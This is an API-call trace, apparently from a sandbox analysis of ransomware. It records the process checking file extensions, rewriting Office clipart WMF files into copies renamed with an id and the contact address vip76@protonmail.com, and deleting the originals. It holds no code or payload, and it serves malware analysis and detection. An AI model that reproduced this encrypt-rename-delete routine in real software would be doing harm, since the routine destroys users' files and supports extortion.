	[0190.899] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0190.900] lstrlenW (lpString=".ppt") returned 4
	[0190.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0190.900] lstrlenW (lpString=".zip") returned 4
	[0190.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.900] lstrlenW (lpString=".rar") returned 4
	[0190.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.900] lstrlenW (lpString=".bz2") returned 4
	[0190.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.900] lstrlenW (lpString=".7z") returned 3
	[0190.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0190.900] lstrlenW (lpString=".dbf") returned 4
	[0190.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0190.900] lstrlenW (lpString=".1cd") returned 4
	[0190.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0190.900] lstrlenW (lpString=".jpg") returned 4
	[0190.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0190.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0190.900] lstrlenW (lpString=".doc") returned 4
	[0190.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.900] lstrlenW (lpString=".docx") returned 5
	[0190.900] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0191.078] lstrlenW (lpString=".pdf") returned 4
	[0191.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.078] lstrlenW (lpString=".xls") returned 4
	[0191.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.078] lstrlenW (lpString=".xlsx") returned 5
	[0191.079] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0191.098] lstrlenW (lpString=".ppt") returned 4
	[0191.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0191.098] lstrlenW (lpString=".zip") returned 4
	[0191.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.098] lstrlenW (lpString=".rar") returned 4
	[0191.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.109] lstrlenW (lpString=".bz2") returned 4
	[0191.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.109] lstrlenW (lpString=".7z") returned 3
	[0191.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0191.110] lstrlenW (lpString=".dbf") returned 4
	[0191.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0191.110] lstrlenW (lpString=".1cd") returned 4
	[0191.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0191.110] lstrlenW (lpString=".jpg") returned 4
	[0191.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.110] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0191.110] lstrlenW (lpString="J0105376.WMF") returned 12
	[0191.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0191.370] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=4964) returned 1
	[0191.370] CloseHandle (hObject=0x5c4) returned 1
	[0191.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220
	[0192.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0193.114] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.114] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0193.196] GetLastError () returned 0x0
	[0193.196] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x1364, lpOverlapped=0x0) returned 1
	[0193.199] WriteFile (in: hFile=0x4ac, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0193.200] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.200] WriteFile (in: hFile=0x4ac, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.201] SetEndOfFile (hFile=0x4ac) returned 1
	[0193.201] CloseHandle (hObject=0x4ac) returned 1
	[0193.201] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.201] SetEndOfFile (hFile=0x5e8) returned 1
	[0193.205] CloseHandle (hObject=0x5e8) returned 1
	[0193.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1
	[0193.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0193.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0193.207] lstrlenW (lpString=".doc") returned 4
	[0193.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.207] lstrlenW (lpString=".docx") returned 5
	[0193.207] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0193.207] lstrlenW (lpString=".pdf") returned 4
	[0193.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.207] lstrlenW (lpString=".xls") returned 4
	[0193.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.207] lstrlenW (lpString=".xlsx") returned 5
	[0193.207] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0193.207] lstrlenW (lpString=".ppt") returned 4
	[0193.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0193.207] lstrlenW (lpString=".zip") returned 4
	[0193.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.208] lstrlenW (lpString=".rar") returned 4
	[0193.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.208] lstrlenW (lpString=".bz2") returned 4
	[0193.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.208] lstrlenW (lpString=".7z") returned 3
	[0193.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0193.208] lstrlenW (lpString=".dbf") returned 4
	[0193.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0193.208] lstrlenW (lpString=".1cd") returned 4
	[0193.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0193.208] lstrlenW (lpString=".jpg") returned 4
	[0193.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0193.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0193.208] lstrlenW (lpString=".doc") returned 4
	[0193.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.208] lstrlenW (lpString=".docx") returned 5
	[0193.208] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0193.208] lstrlenW (lpString=".pdf") returned 4
	[0193.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.208] lstrlenW (lpString=".xls") returned 4
	[0193.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.209] lstrlenW (lpString=".xlsx") returned 5
	[0193.209] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0193.209] lstrlenW (lpString=".ppt") returned 4
	[0193.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0193.209] lstrlenW (lpString=".zip") returned 4
	[0193.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.209] lstrlenW (lpString=".rar") returned 4
	[0193.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.209] lstrlenW (lpString=".bz2") returned 4
	[0193.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.209] lstrlenW (lpString=".7z") returned 3
	[0193.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0193.209] lstrlenW (lpString=".dbf") returned 4
	[0193.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0193.209] lstrlenW (lpString=".1cd") returned 4
	[0193.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0193.209] lstrlenW (lpString=".jpg") returned 4
	[0193.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.210] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.210] lstrlenW (lpString="J0105398.WMF") returned 12
	[0193.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0193.211] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=3328) returned 1
	[0193.211] CloseHandle (hObject=0x5e8) returned 1
	[0193.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220
	[0193.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0193.211] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.211] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0193.213] GetLastError () returned 0x0
	[0193.213] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xd00, lpOverlapped=0x0) returned 1
	[0193.215] WriteFile (in: hFile=0x4ac, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xd10, lpOverlapped=0x0) returned 1
	[0193.216] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.216] WriteFile (in: hFile=0x4ac, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.217] SetEndOfFile (hFile=0x4ac) returned 1
	[0193.217] CloseHandle (hObject=0x4ac) returned 1
	[0193.217] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.217] SetEndOfFile (hFile=0x5e8) returned 1
	[0193.220] CloseHandle (hObject=0x5e8) returned 1
	[0193.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1
	[0193.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0193.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0193.222] lstrlenW (lpString=".doc") returned 4
	[0193.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.222] lstrlenW (lpString=".docx") returned 5
	[0193.222] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0193.222] lstrlenW (lpString=".pdf") returned 4
	[0193.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.222] lstrlenW (lpString=".xls") returned 4
	[0193.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.222] lstrlenW (lpString=".xlsx") returned 5
	[0193.222] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0193.222] lstrlenW (lpString=".ppt") returned 4
	[0193.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0193.222] lstrlenW (lpString=".zip") returned 4
	[0193.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.222] lstrlenW (lpString=".rar") returned 4
	[0193.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.222] lstrlenW (lpString=".bz2") returned 4
	[0193.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.222] lstrlenW (lpString=".7z") returned 3
	[0193.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0193.222] lstrlenW (lpString=".dbf") returned 4
	[0193.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0193.223] lstrlenW (lpString=".1cd") returned 4
	[0193.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0193.223] lstrlenW (lpString=".jpg") returned 4
	[0193.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0193.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0193.223] lstrlenW (lpString=".doc") returned 4
	[0193.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.223] lstrlenW (lpString=".docx") returned 5
	[0193.224] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0193.224] lstrlenW (lpString=".pdf") returned 4
	[0193.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.224] lstrlenW (lpString=".xls") returned 4
	[0193.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.224] lstrlenW (lpString=".xlsx") returned 5
	[0193.224] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0193.224] lstrlenW (lpString=".ppt") returned 4
	[0193.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0193.224] lstrlenW (lpString=".zip") returned 4
	[0193.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.224] lstrlenW (lpString=".rar") returned 4
	[0193.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.224] lstrlenW (lpString=".bz2") returned 4
	[0193.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.224] lstrlenW (lpString=".7z") returned 3
	[0193.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0193.224] lstrlenW (lpString=".dbf") returned 4
	[0193.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0193.224] lstrlenW (lpString=".1cd") returned 4
	[0193.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0193.224] lstrlenW (lpString=".jpg") returned 4
	[0193.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.225] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.225] lstrlenW (lpString="J0105410.WMF") returned 12
	[0193.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0193.226] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=20444) returned 1
	[0193.226] CloseHandle (hObject=0x5e8) returned 1
	[0193.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220
	[0193.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0193.227] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.227] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0193.228] GetLastError () returned 0x0
	[0193.228] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x4fdc, lpOverlapped=0x0) returned 1
	[0193.230] WriteFile (in: hFile=0x4ac, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x4fe0, lpOverlapped=0x0) returned 1
	[0193.231] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.231] WriteFile (in: hFile=0x4ac, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.232] SetEndOfFile (hFile=0x4ac) returned 1
	[0193.232] CloseHandle (hObject=0x4ac) returned 1
	[0193.232] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.232] SetEndOfFile (hFile=0x5e8) returned 1
	[0193.403] CloseHandle (hObject=0x5e8) returned 1
	[0193.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1
	[0193.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0193.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0193.405] lstrlenW (lpString=".doc") returned 4
	[0193.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.405] lstrlenW (lpString=".docx") returned 5
	[0193.405] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0193.405] lstrlenW (lpString=".pdf") returned 4
	[0193.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.405] lstrlenW (lpString=".xls") returned 4
	[0193.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
